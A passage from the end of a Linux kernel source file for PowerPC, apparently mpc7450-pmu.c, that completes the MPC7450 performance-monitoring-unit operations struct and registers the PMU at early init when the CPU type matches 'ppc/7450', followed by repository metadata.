.get_alternatives = mpc7450_get_alternatives, .disable_pmc = mpc7450_disable_pmc, .n_generic = ARRAY_SIZE(mpc7450_generic_events), .generic_events = mpc7450_generic_events, .cache_events = &mpc7450_cache_events, }; static int __init init_mpc7450_pmu(void) { if (!cur_cpu_spec->oprofile_cpu_type || strcmp(cur_cpu_spec->oprofile_cpu_type, "ppc/7450")) return -ENODEV; return register_power_pmu(&mpc7450_pmu); } early_initcall(init_mpc7450_pmu);
MoKee/android_kernel_htc_endeavoru
arch/powerpc/kernel/mpc7450-pmu.c
C
gpl-2.0
10,402